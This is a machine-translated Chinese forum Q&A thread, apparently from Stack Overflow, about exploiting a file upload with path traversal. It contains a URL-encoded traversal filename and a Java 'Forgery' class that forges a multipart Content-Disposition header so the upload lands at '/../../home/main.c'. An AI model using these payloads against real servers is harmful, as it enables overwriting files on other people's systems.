您可以將文件命名爲類似%2F%2E%2E%2F%2E%2E%2Fhome%2Fmain%2Ec
並上傳使用的瀏覽器,但我懷疑它會工作。
你也可以嘗試開拓您的multipart/form-data的HTTP POST請求黑客現有的實現,這樣的事情(使用公地的HttpClient 3.1):
public class Forgery
{
public static void main(String[] args)
{
File f = new File("/path/fileToUpload.txt");
PostMethod filePost = new PostMethod("http://host/some_path");
Part[] parts =
{
new StringPart("param_name", "value"),
new FilePart(f.getName(), f)
{
private static final byte[] FILE_NAME_BYTES = EncodingUtil.getAsciiBytes(FILE_NAME);
@Override
protected void sendDispositionHeader(OutputStream out) throws IOException
{
out.write(CONTENT_DISPOSITION_BYTES);
out.write(QUOTE_BYTES);
out.write(EncodingUtil.getAsciiBytes(getName()));
out.write(QUOTE_BYTES);
out.write(FILE_NAME_BYTES);
out.write(QUOTE_BYTES);
out.write(EncodingUtil.getAsciiBytes("/../../home/main.c"));
out.write(QUOTE_BYTES);
}
}
};
filePost.setRequestEntity(new MultipartRequestEntity(parts, filePost.getParams()));
HttpClient client = new HttpClient();
int status = client.executeMethod(filePost);
}
}
看起來很有趣,但我沒有線索在哪裏執行這個?我只有一個上傳文件(通過文件資源管理器)字段並提交按鈕。 – namik
你會發布你所有的代碼嗎? –
它太大而且很複雜......我不太瞭解我的自我 – namik